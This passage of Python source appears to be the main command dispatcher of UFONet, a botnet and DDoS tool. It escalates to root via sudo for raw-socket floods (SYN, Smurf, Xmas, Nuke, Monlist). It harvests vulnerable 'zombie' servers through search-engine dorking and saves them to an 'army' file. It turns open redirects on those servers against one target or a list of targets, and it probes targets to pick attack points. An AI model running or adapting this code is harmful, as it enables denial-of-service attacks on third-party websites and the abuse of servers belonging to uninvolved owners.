  380. print("\n" + " " + '-'*44)
  381. print('\n-> Ciphertext: [', msg, ']')
  382. print('\n-> Length:', len(msg))
  383. print("\n" + " " + '-'*44)
  384. print('\n-> Key (share it using SNEAKNET!):', input_key)
  385. print('\n-> Decryption PoC:', c.decrypt().decode('utf-8'), "\n")
  386. # run shownet tool
  387. if options.shownet:
  388. hex_mac = self.show_mac_address()
  389. self.banner()
  390. print("-> Network Info:")
  391. print('='*44)
  392. print("-"*35)
  393. print("|- MAC Address :", hex_mac)
  394. print("|" +"-"*34)
  395. private_ip, public_ip = self.show_ips()
  396. print("|- IP Private :", private_ip)
  397. print("|" +"-"*34)
  398. t = urlparse(self.check_ip_service3)
  399. name_service = t.netloc
  400. print("|- IP Public :", public_ip +" | ["+name_service+"]")
  401. print("-"*35)
  402. print('='*75, "\n")
  403. # run UFOSCAN tool (check EUID when running UFOSCAN)
  404. if options.xray:
  405. euid = self.checkeuid()
  406. if euid != 0:
  407. print("[Info] [AI] [Control] [UFOSCAN] (--xray) not started as root...\n")
  408. try:
  409. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  410. os.execlpe('sudo', *args)
  411. except:
  412. pass # keep running
  413. else:
  414. if not options.xrayps:
  415. options.xrayps = str("1-1024") # default scanning ports (1-1024)
  416. ports = options.xrayps
  417. try:
  418. portX, portY = ports.split('-')
  419. try:
  420. portX = int(portX)
  421. portY = int(portY)
  422. except:
  423. portX = 1
  424. portY = 1024
  425. print("[Error] [AI] [UFOSCAN] Something wrong with range of ports selected. Using by default: 1-1024...\n")
  426. except:
  427. portX = 1
  428. portY = 1024
  429. print("[Info] [AI] [UFOSCAN] Not any range of ports selected. Using by default: 1-1024...\n")
  430. self.banner()
  431. print("\n[AI] Analizing target to extract interesting information... Be patient!\n")
  432. print('='*22 + '\n')
  433. try:
  434. self.instance = UFOSCAN() # instance main class for scanning operations
  435. xray = self.instance.scanning(options.xray, portX, portY)
  436. except Exception as e:
  437. print ("[Error] [AI] Something wrong scanning... Not any data stream found! -> [Exiting!]\n")
  438. if DEBUG == True:
  439. traceback.print_exc()
  440. return
  441. # show code timeline
  442. if options.timeline:
  443. f = open(self.timeline_file, 'r')
  444. releases = f.readlines()
  445. f.close()
  446. self.banner()
  447. print("-> Code timeline:")
  448. print('='*44)
  449. print("-"*35)
  450. for r in releases:
  451. print(r.strip('\n'))
  452. print("-"*35)
  453. print('='*75, "\n")
  454. # print some examples
  455. if options.examples:
  456. f = open(self.examples_file, 'r')
  457. examples = f.readlines()
  458. f.close()
  459. self.banner()
  460. for e in examples:
  461. print(e.strip('\n'))
  462. # check EUID when running UFOSYN (root required for open 'raw sockets') / GUI will invoke 'sudo' directly
  463. if options.ufosyn:
  464. euid = self.checkeuid()
  465. if euid != 0:
  466. print("[Info] [AI] [Control] [UFOSYN] (--ufosyn) not started as root...\n")
  467. try:
  468. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  469. os.execlpe('sudo', *args)
  470. except:
  471. pass # keep running, but UFOSYN will fail
  472. # check EUID when running SPRAY (root required)
  473. if options.spray:
  474. euid = self.checkeuid()
  475. if euid != 0:
  476. print("[Info] [AI] [Control] [SPRAY] (--spray) not started as root...\n")
  477. try:
  478. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  479. os.execlpe('sudo', *args)
  480. except:
  481. pass # keep running, but SPRAY will fail
  482. # check EUID when running SMURF (root required)
  483. if options.smurf:
  484. euid = self.checkeuid()
  485. if euid != 0:
  486. print("[Info] [AI] [Control] [SMURF] (--smurf) not started as root...\n")
  487. try:
  488. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  489. os.execlpe('sudo', *args)
  490. except:
  491. pass # keep running, but SMURF will fail
  492. # check EUID when running XMAS (root required)
  493. if options.xmas:
  494. euid = self.checkeuid()
  495. if euid != 0:
  496. print("[Info] [AI] [Control] [XMAS] (--xmas) not started as root...\n")
  497. try:
  498. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  499. os.execlpe('sudo', *args)
  500. except:
  501. pass # keep running, but XMAS will fail
  502. # check EUID when running NUKE (root required)
  503. if options.nuke:
  504. euid = self.checkeuid()
  505. if euid != 0:
  506. print("[Info] [AI] [Control] [NUKE] (--nuke) not started as root...\n")
  507. try:
  508. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  509. os.execlpe('sudo', *args)
  510. except:
  511. pass # keep running, but NUKE will fail
  512. # check EUID when running TACHYON (root required)
  513. if options.tachyon:
  514. euid = self.checkeuid()
  515. if euid != 0:
  516. print("[Info] [AI] [Control] [TACHYON] (--tachyon) not started as root...\n")
  517. try:
  518. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  519. os.execlpe('sudo', *args)
  520. except:
  521. pass # keep running, but TACHYON will fail
  522. # check EUID when running MONLIST (root required)
  523. if options.monlist:
  524. euid = self.checkeuid()
  525. if euid != 0:
  526. print("[Info] [AI] [Control] [MONLIST] (--monlist) not started as root...\n")
  527. try:
  528. args = ['sudo', sys.executable] + sys.argv + [os.environ]
  529. os.execlpe('sudo', *args)
  530. except:
  531. pass # keep running, but MONLIST will fail
  532. # search for [Zombies] on search engines results (dorking)
  533. if options.search:
  534. zombies = []
  535. if options.engine:
  536. engine = options.engine
  537. else:
  538. engine = "duck" # default search engine
  539. try:
  540. self.banner()
  541. if not os.path.exists(self.humans_file) == True:
  542. f = open(self.humans_file, 'w')
  543. f.close()
  544. lf = open(self.humans_file, 'r')
  545. restored = lf.readlines()
  546. zombies_restored = len(restored)
  547. lf.close()
  548. lz = open(self.zombies_file, 'r')
  549. zombies_army = lz.readlines()
  550. for zombie in zombies_army:
  551. zombies.append(zombie) # add zombies from army to the zombies pool
  552. lz.close()
  553. if len(restored) > 0:
  554. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  555. if not self.options.forceyes:
  556. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  557. print('-'*25)
  558. else:
  559. backup_reply = "Y"
  560. if backup_reply == "n" or backup_reply == "N":
  561. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  562. os.remove(self.humans_file)
  563. zombies_restored = 0 # flush zombies restored
  564. print('-'*25 + "\n")
  565. else:
  566. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  567. print('-'*25 + "\n")
  568. for zombie in restored:
  569. zombies.append(zombie) # add previous data to zombies pool
  570. if options.allengines:
  571. if options.ex_engine: # exclude some search engines manually
  572. exclude = options.ex_engine.split(",")
  573. for ex in exclude:
  574. ex = ex.lower()
  575. if ex in self.search_engines:
  576. if len(self.search_engines) == 1: # at least one should make it
  577. pass
  578. else:
  579. self.search_engines.remove(ex)
  580. for e in self.search_engines:
  581. engine = e
  582. print('='*44)
  583. print(("\n[AI] Searching for zombies using: "+engine+'\n'))
  584. print('='*44 + '\n')
  585. self.options.engine = engine
  586. try:
  587. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  588. if zombies_chain != None:
  589. for zombie in zombies_chain:
  590. if zombie not in zombies: # evade possible repetitions
  591. zombies.append(zombie)
  592. except:
  593. if zombies: # backup all new zombies found to file in case of exception
  594. for zombie in zombies:
  595. if zombie+os.linesep not in restored: # only append new zombies found
  596. with open(self.humans_file, "a") as f:
  597. f.write(str(zombie+os.linesep))
  598. else:
  599. if restored:
  600. print('='*44)
  601. print(("\n[AI] Searching for zombies using: "+engine+"\n"))
  602. print('='*44 + '\n')
  603. if restored: # from restored file
  604. try:
  605. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  606. if zombies_chain != None:
  607. for zombie in zombies_chain:
  608. if zombie not in zombies: # evade possible repetitions
  609. zombies.append(zombie)
  610. except:
  611. if zombies: # backup all new zombies found to file in case of exception
  612. for zombie in zombies:
  613. if zombie+os.linesep not in restored: # only append new zombies found
  614. with open(self.humans_file, "a") as f:
  615. f.write(str(zombie+os.linesep))
  616. else:
  617. try:
  618. zombies = self.search_zombies(dork='', zombies_found=zombies)
  619. except:
  620. if zombies: # backup all new zombies found to file in case of exception
  621. for zombie in zombies:
  622. if zombie+os.linesep not in restored: # only append new zombies found
  623. with open(self.humans_file, "a") as f:
  624. f.write(str(zombie+os.linesep))
  625. total_restored = zombies_restored
  626. new_zombies = 0 # new zombies counter
  627. f = open(self.zombies_file, 'r')
  628. zz = f.readlines()
  629. f.close()
  630. zombies_found = []
  631. for z in zombies:
  632. if z.endswith(os.linesep):
  633. z = z.replace(os.linesep, "")
  634. if z not in zz and z+os.linesep not in zz:
  635. new_zombies = new_zombies + 1
  636. zombies_found.append(z)
  637. print('='*62)
  638. print("\n- Victims found:", len(zombies_found), "\n")
  639. print(" - Restored:", total_restored)
  640. print(" - Dorked:", abs(len(zombies_found) - total_restored), "\n")
  641. print('-'*32)
  642. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  643. print('='*62 + '\n')
  644. if len(zombies) > 0:
  645. if not self.options.forceyes:
  646. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  647. print('-'*25)
  648. else:
  649. check_backup_reply = "Y"
  650. if check_backup_reply == "n" or check_backup_reply == "N":
  651. if os.path.isfile(self.humans_file):
  652. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  653. print("\n[Info] [AI] Temporal data correctly removed...\n")
  654. else:
  655. with open(self.humans_file, "w") as f:
  656. for z in zombies_found:
  657. if z.endswith(os.linesep):
  658. z = z.replace(os.linesep, "")
  659. if z not in zz or z+os.linesep not in zz:
  660. f.write(z+os.linesep)
  661. f.close()
  662. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  663. print('-'*25 + "\n")
  664. if new_zombies and new_zombies > 0:
  665. if not self.options.forceyes:
  666. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  667. print('-'*25 + "\n")
  668. else:
  669. check_url_link_reply = "Y"
  670. if check_url_link_reply == "n" or check_url_link_reply == "N":
  671. print("[AI] "+self.exit_msg+"\n")
  672. pass
  673. else:
  674. print("\n" + '='*44)
  675. test = self.testing(zombies_found)
  676. else:
  677. print("[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n")
  678. except Exception:
  679. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  680. # search for [Zombies] from a list of [Dorks]
  681. if options.dorks:
  682. if options.engine:
  683. engine = options.engine
  684. else:
  685. engine = "duck" # default search engine
  686. try:
  687. dorks = self.extract_dorks()
  688. if not dorks:
  689. return
  690. zombies = []
  691. self.banner()
  692. if not os.path.exists(self.humans_file) == True:
  693. f = open(self.humans_file, 'w')
  694. f.close()
  695. lf = open(self.humans_file, 'r')
  696. restored = lf.readlines()
  697. zombies_restored = len(restored)
  698. lf.close()
  699. lz = open(self.zombies_file, 'r')
  700. zombies_army = lz.readlines()
  701. for zombie in zombies_army:
  702. zombies.append(zombie) # add zombies from army to the zombies pool
  703. lz.close()
  704. if len(restored) > 0:
  705. print("\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  706. if not self.options.forceyes:
  707. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  708. print('-'*25)
  709. else:
  710. backup_reply = "Y"
  711. if backup_reply == "n" or backup_reply == "N":
  712. print("\n[Info] [AI] Removing data stored and starting a new search...\n")
  713. os.remove(self.humans_file)
  714. zombies_restored = 0 # flush zombies restored
  715. print('-'*25 + "\n")
  716. else:
  717. print("\n[Info] [AI] Restoring data and starting a new search...\n")
  718. print('-'*25 + "\n")
  719. for zombie in restored:
  720. zombies.append(zombie) # add previous data to zombies pool
  721. total_restored = zombies_restored
  722. if options.allengines:
  723. if options.ex_engine: # exclude some search engines manually
  724. exclude = options.ex_engine.split(",")
  725. for ex in exclude:
  726. ex = ex.lower()
  727. if ex in self.search_engines:
  728. if len(self.search_engines) == 1: # at least one should make it
  729. pass
  730. else:
  731. self.search_engines.remove(ex)
  732. for e in self.search_engines:
  733. engine = e
  734. print('='*44)
  735. print(("\n[AI] Searching for zombies using: ["+engine+ "] from a list of [Dorks]\n"))
  736. print('='*44 + '\n')
  737. self.options.engine = engine
  738. for dork in dorks:
  739. print('='*22)
  740. print("Dork:", dork)
  741. print('='*22 + '\n')
  742. try:
  743. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  744. for zombie in dorked_zombies:
  745. if zombie not in zombies: # evade repetitions for zombies found
  746. zombies.append(zombie)
  747. if zombie+os.linesep not in restored: # only append new zombies found
  748. with open(self.humans_file, "a") as f:
  749. f.write(str(zombie+os.linesep))
  750. f.close()
  751. except:
  752. if zombies: # backup new zombies found on exception
  753. for zombie in zombies:
  754. if zombie+os.linesep not in restored: # only append new zombies found
  755. with open(self.humans_file, "a") as f:
  756. f.write(str(zombie+os.linesep))
  757. f.close()
  758. else:
  759. if restored:
  760. print('='*44)
  761. print(("\n[AI] Searching for zombies using: ["+ engine+ "] from a list of [Dorks]\n"))
  762. print('='*44 + '\n')
  763. for dork in dorks:
  764. print('='*22)
  765. print("Dork:", dork)
  766. print('='*22 + '\n')
  767. try:
  768. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  769. if dorked_zombies != None:
  770. for zombie in dorked_zombies:
  771. if zombie not in zombies: # evade repetitions for zombies found
  772. zombies.append(zombie)
  773. except:
  774. if zombies: # backup new zombies found on exception
  775. for zombie in zombies:
  776. if zombie+os.linesep not in restored: # only append new zombies found
  777. with open(self.humans_file, "a") as f:
  778. f.write(str(zombie+os.linesep))
  779. f.close()
  780. new_zombies = 0 # new zombies counter
  781. f = open(self.zombies_file, 'r')
  782. zz = f.readlines()
  783. f.close()
  784. zombies_found = []
  785. for z in zombies:
  786. if z.endswith(os.linesep):
  787. z = z.replace(os.linesep, "")
  788. if z not in zz and z+os.linesep not in zz:
  789. new_zombies = new_zombies + 1
  790. zombies_found.append(z)
  791. print('='*62)
  792. print("\n- Victims found:", len(zombies_found), "\n")
  793. print(" - Restored:", total_restored)
  794. print(" - Dorked:", len(zombies_found) - total_restored, "\n")
  795. print('-'*32)
  796. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  797. print('='*62 + '\n')
  798. if len(zombies_found) > 0:
  799. if not self.options.forceyes:
  800. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  801. print('-'*25)
  802. else:
  803. check_backup_reply = "Y"
  804. if check_backup_reply == "n" or check_backup_reply == "N":
  805. if os.path.isfile(self.humans_file):
  806. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  807. print("\n[Info] [AI] Temporal data correctly removed...\n")
  808. else:
  809. with open(self.humans_file, "w") as f:
  810. for z in zombies_found:
  811. if z.endswith(os.linesep):
  812. z = z.replace(os.linesep, "")
  813. if z not in zz or z+os.linesep not in zz:
  814. f.write(z+os.linesep)
  815. f.close()
  816. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  817. print('-'*25 + "\n")
  818. if new_zombies and new_zombies > 0:
  819. if not self.options.forceyes:
  820. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  821. print('-'*25 + "\n")
  822. else:
  823. check_url_link_reply = "Y"
  824. if check_url_link_reply == "n" or check_url_link_reply == "N":
  825. print("[AI] "+self.exit_msg+"\n")
  826. pass
  827. else:
  828. print("\n" + '='*44)
  829. test = self.testing(zombies_found)
  830. else:
  831. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  832. except Exception:
  833. print(("\n[Error] [AI] Something wrong searching using: "+engine+"\n"))
  834. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  835. if options.autosearch:
  836. try:
  837. dorks = self.extract_dorks()
  838. except:
  839. print("\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n")
  840. return
  841. engines_list = self.search_engines
  842. stop_flag = False # use a flag to establish an end
  843. try:
  844. self.banner()
  845. print("\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n")
  846. print("[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n")
  847. print('-'*25 + "\n")
  848. zombies_found = []
  849. lz = open(self.zombies_file, 'r')
  850. zombies_army = lz.readlines()
  851. for zombie in zombies_army:
  852. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  853. lz.close()
  854. if not os.path.exists(self.humans_file) == True:
  855. f = open(self.humans_file, 'w')
  856. f.close()
  857. lf = open(self.humans_file, 'r')
  858. restored = lf.readlines()
  859. zombies_restored = len(restored)
  860. lf.close()
  861. if len(restored) > 0:
  862. print("[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n")
  863. if not self.options.forceyes:
  864. backup_reply = input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  865. print('-'*25)
  866. else:
  867. backup_reply = "Y"
  868. if backup_reply == "n" or backup_reply == "N":
  869. print("\n[Info] [AI] Removing data stored and starting a new (auto)search...\n")
  870. os.remove(self.humans_file)
  871. zombies_restored = 0 # flush zombies restored
  872. print('-'*25 + "\n")
  873. else:
  874. print("\n[Info] [AI] Restoring data and starting a new (auto)search...\n")
  875. print('-'*25 + "\n")
  876. for zombie in restored:
  877. zombies_found.append(zombie) # add previous data to zombies found pool
  878. total_restored = zombies_restored
  879. while stop_flag == False:
  880. if not os.path.exists(self.humans_file) == True:
  881. f = open(self.humans_file, 'w')
  882. f.close()
  883. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  884. restored = lf.readlines()
  885. lf.close()
  886. zombies_restored = len(restored)
  887. for e in engines_list:
  888. zombies_counter = 0 # use it also as (engine) flag
  889. engine = e
  890. self.options.engine = engine
  891. print('='*44 + '\n')
  892. print(("[AI] Searching for zombies using: "+engine+'\n'))
  893. print('='*44 + '\n')
  894. for dork in dorks:
  895. print('='*22)
  896. print("Dork:", dork)
  897. print('='*22 + '\n')
  898. try:
  899. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  900. for zombie in dorked_zombies:
  901. if zombie not in zombies_found: # evade repetitions for zombies found
  902. zombies_found.append(zombie)
  903. if zombie+os.linesep not in restored: # only append new zombies found
  904. with open(self.humans_file, "a") as f:
  905. f.write(str(zombie+os.linesep))
  906. f.close()
  907. zombies_counter = zombies_counter + 1
  908. except:
  909. if zombies_found: # backup new zombies found on exception
  910. for zombie in zombies_found:
  911. if zombie+os.linesep not in restored: # only append new zombies found
  912. with open(self.humans_file, "a") as f:
  913. f.write(str(zombie+os.linesep))
  914. f.close()
  915. if zombies_counter == 0:
  916. print("[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n")
  917. print('-'*25 + "\n")
  918. engines_list.remove(engine) # remove not more results engine from search engines list
  919. if not engines_list: # if search engines empty, call return-exit routine
  920. print("[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n")
  921. print('-'*25 + "\n")
  922. stop_flag = True # exit flag up
  923. new_zombies = 0 # new zombies counter
  924. f = open(self.zombies_file, 'r')
  925. zz = f.readlines()
  926. f.close()
  927. all_zombies_found = []
  928. for z in zombies_found:
  929. if z.endswith(os.linesep):
  930. z = z.replace(os.linesep, "")
  931. if z not in zz and z+os.linesep not in zz:
  932. new_zombies = new_zombies + 1
  933. all_zombies_found.append(z)
  934. print('='*62)
  935. print("\n- Victims found:", len(all_zombies_found), "\n")
  936. print(" - Restored:", total_restored)
  937. print(" - Dorked:", len(all_zombies_found) - total_restored, "\n")
  938. print('-'*32)
  939. print("\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n")
  940. print('='*62 + '\n')
  941. if len(zombies_found) > 0:
  942. if not self.options.forceyes:
  943. check_backup_reply = input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  944. print('-'*25)
  945. else:
  946. check_backup_reply = "Y"
  947. if check_backup_reply == "n" or check_backup_reply == "N":
  948. if os.path.isfile(self.humans_file):
  949. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  950. print("\n[Info] [AI] Temporal data correctly removed...\n")
  951. else:
  952. with open(self.humans_file, "w") as f:
  953. for z in all_zombies_found:
  954. if z.endswith(os.linesep):
  955. z = z.replace(os.linesep, "")
  956. if z not in zz or z+os.linesep not in zz:
  957. f.write(z+os.linesep)
  958. f.close()
  959. print("\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n")
  960. print('-'*25 + "\n")
  961. if new_zombies and new_zombies > 0:
  962. if not self.options.forceyes:
  963. check_url_link_reply = input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  964. print('-'*25 + "\n")
  965. else:
  966. check_url_link_reply = "Y"
  967. if check_url_link_reply == "n" or check_url_link_reply == "N":
  968. print("[AI] "+self.exit_msg+"\n")
  969. pass
  970. else:
  971. print("\n" + '='*44)
  972. test = self.testing(all_zombies_found)
  973. else:
  974. print("[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n")
  975. except Exception:
  976. print ("[Error] [AI] Something wrong (auto)searching...\n")
  977. # test web 'zombie' servers -> show statistics
  978. if options.test:
  979. try:
  980. self.banner()
  981. zombies = self.extract_zombies()
  982. if not zombies:
  983. return
  984. test = self.testing(zombies)
  985. self.update_missions_stats() # update mothership missions stats
  986. except Exception:
  987. print ("\n[Error] [AI] Something wrong testing!\n")
  988. if DEBUG == True:
  989. traceback.print_exc()
  990. # test XML-'rpc' pingback vulnerable servers -> update list
  991. if options.testrpc:
  992. try:
  993. self.banner()
  994. rpcs = self.extract_rpcs()
  995. if not rpcs:
  996. return
  997. testrpc = self.testing_rpcs(rpcs)
  998. self.update_missions_stats() # update mothership missions stats
  999. except Exception:
  1000. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  1001. if DEBUG == True:
  1002. traceback.print_exc()
  1003. # check botnet searching for zombies offline
  1004. if options.testoffline:
  1005. try:
  1006. self.banner()
  1007. testbotnet = self.testing_offline()
  1008. self.update_missions_stats() # update mothership missions stats
  1009. except Exception:
  1010. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  1011. if DEBUG == True:
  1012. traceback.print_exc()
  1013. # check ALL botnet status
  1014. if options.testall:
  1015. try:
  1016. self.banner()
  1017. test_all_botnet = self.testing_all()
  1018. self.update_missions_stats() # update mothership missions stats
  1019. except Exception:
  1020. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  1021. if DEBUG == True:
  1022. traceback.print_exc()
  1023. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  1024. if options.target:
  1025. try:
  1026. self.banner()
  1027. zombies = self.extract_zombies()
  1028. if not zombies:
  1029. return
  1030. options.target = self.parse_url_encoding(options.target) # parse for proper url encoding
  1031. attack = self.attacking(zombies, options.target)
  1032. self.update_missions_stats() # update mothership missions stats
  1033. except Exception:
  1034. print ("\n[Error] [AI] Something wrong attacking!\n")
  1035. if DEBUG == True:
  1036. traceback.print_exc()
  1037. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  1038. if options.target_list:
  1039. try:
  1040. self.banner()
  1041. zombies = self.extract_zombies()
  1042. if not zombies:
  1043. return
  1044. targets = self.extract_target_list()
  1045. if not targets:
  1046. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1047. return
  1048. self.options.forceyes = True # force-yes ON!
  1049. self.num_target_list = 0
  1050. print("\n[AI] Checking integrity of targets...\n")
  1051. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  1052. if not t.startswith("http"): # discarded inmediately
  1053. print("[Info] [AI] [Control] " + str(t) + " -> [Discarding!]")
  1054. targets.remove(t) # ¿remove? invalid targets
  1055. print("")
  1056. c = 0
  1057. for target in targets:
  1058. if target == "":
  1059. c = c + 1
  1060. else:
  1061. self.num_target_list = self.num_target_list + 1
  1062. if c == len(targets):
  1063. print("\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n")
  1064. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  1065. else:
  1066. for target in targets:
  1067. self.options.target = self.parse_url_encoding(target) # parse for proper url encoding
  1068. target = self.options.target
  1069. print('='*55 + "\n")
  1070. print("[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n")
  1071. print("="*55)
  1072. attack = self.attacking(zombies, target)
  1073. self.update_missions_stats() # update mothership missions stats (each target counts)
  1074. except Exception:
  1075. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  1076. if DEBUG == True:
  1077. traceback.print_exc()
  1078. # inspect target -> inspect target's components sizes
  1079. if options.inspect:
  1080. try:
  1081. self.banner()
  1082. print("\n[AI] Inspecting target for local resources... to find the best place to attack... SSssh!\n")
  1083. print('='*22 + '\n')
  1084. self.instance = Inspector(self) # instance main class for inspection operations
  1085. inspection = self.instance.inspecting(options.inspect)
  1086. self.update_missions_stats() # update mothership missions stats
  1087. except Exception as e:
  1088. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  1089. if DEBUG == True:
  1090. traceback.print_exc()
  1091. return #sys.exit(2)
  1092. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  1093. if options.abduction:
  1094. try:
  1095. self.banner()
  1096. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1097. print('='*22 + '\n')
  1098. self.instance = Abductor(self) # instance main class for abduction operations
  1099. abduction = self.instance.abducting(options.abduction)
  1100. self.update_missions_stats() # update mothership missions stats
  1101. except Exception as e:
  1102. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1103. if DEBUG == True:
  1104. traceback.print_exc()
  1105. return #sys.exit(2)
  1106. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1107. if options.attackme:
  1108. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1109. try:
  1110. self.banner()
  1111. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1112. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1113. if not self.options.forceyes:
  1114. update_reply = input("[AI] Do you want to continue? (Y/n)")
  1115. else:
  1116. update_reply = "Y"
  1117. if update_reply == "n" or update_reply == "N":
  1118. print("\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n")
  1119. return
  1120. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1121. print("\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash)
  1122. print("\n[AI] Checking NAT/IP configuration:\n")
  1123. nat = self.check_nat()
  1124. f = open("alien", "w") # generate random alien worker
  1125. f.write(str(self.mothership_hash))
  1126. f.close()
  1127. if self.nat_error_flag == "ON":
  1128. return
  1129. zombies = self.extract_zombies()
  1130. if not zombies:
  1131. return
  1132. attackme = self.attackme(zombies)
  1133. self.update_missions_stats() # update mothership missions stats
  1134. except Exception as e:
  1135. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1136. if DEBUG == True:
  1137. traceback.print_exc()
  1138. return #sys.exit(2)
  1139. # check/update for latest stable version
  1140. if options.update:
  1141. self.banner()
  1142. try:
  1143. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1144. Updater()
  1145. except:
  1146. print("Not any .git repository found!\n")
  1147. print("="*30)
  1148. print("\nTo have working this feature, you should clone UFONet with:\n")
  1149. print("$ git clone %s" % self.GIT_REPOSITORY)
  1150. print("\nAlso you can try this other mirror:\n")
  1151. print("$ git clone %s" % self.GIT_REPOSITORY2 + "\n")
  1152. # launch GUI/Web interface
  1153. if options.web:
  1154. self.create_web_interface()
  1155. return
  1156. # generate [Blackhole] server to share [Zombies]
  1157. if options.blackhole is not None:
  1158. self.banner()
  1159. try:
  1160. blackhole_lib = os.path.abspath(os.path.join('core/tools')) # add [Blackhole] lib
  1161. sys.path.append(blackhole_lib)
  1162. from core.tools.blackhole import BlackHole
  1163. print("\n[AI] Initiating void generation sequence...\n")
  1164. print('='*22 + '\n')
  1165. app = BlackHole()
  1166. app.start()
  1167. while True: time.sleep(1)
  1168. except KeyboardInterrupt:
  1169. print("\n[AI] Terminating void generation sequence...\n")
  1170. app.collapse()
  1171. except Exception as e:
  1172. print("[Error] "+str(e))
  1173. print("\n[AI] Something was wrong generating [Blackhole]... -> [Aborting!]\n")
  1174. # create [Grider] server to share [Stats/Wargames/Messages]
  1175. if options.grider is not None:
  1176. self.banner()
  1177. try:
  1178. grider_lib = os.path.abspath(os.path.join('core/tools')) # add [Grider] lib
  1179. sys.path.append(grider_lib)
  1180. from core.tools.grider import Grider
  1181. print("\n[AI] Initiating void generation sequence...\n")
  1182. print('='*22 + '\n')
  1183. app = Grider()
  1184. app.start()
  1185. while True: time.sleep(1)
  1186. except KeyboardInterrupt:
  1187. print("\n[AI] Terminating void generation sequence...\n")
  1188. app.collapse()
  1189. except Exception as e:
  1190. print("[Error] "+str(e))
  1191. print("\n[AI] Something was wrong generating [Grider]... -> [Aborting!]\n")
  1192. # download list of [Zombies] from a [Blackhole] IP
  1193. if options.dip is not None:
  1194. options.download = True
  1195. self.blackhole = options.dip
  1196. # upload list of [Zombies] to a [Blackhole] IP
  1197. if options.upip is not None:
  1198. options.upload = True
  1199. self.blackhole = options.upip
  1200. # download list of [Zombies] from Community server [20/01/2020 OK!]
  1201. if options.download:
  1202. try:
  1203. self.banner()
  1204. if options.dip is not None:
  1205. print(("\n[AI] Downloading list of [Zombies] from [Private] server: "+self.blackhole+" ...\n"))
  1206. else:
  1207. print("\n[AI] Downloading list of [Zombies] from [Community] server ...\n")
  1208. print('='*22 + '\n')
  1209. download_list = self.downloading_list()
  1210. except Exception as e:
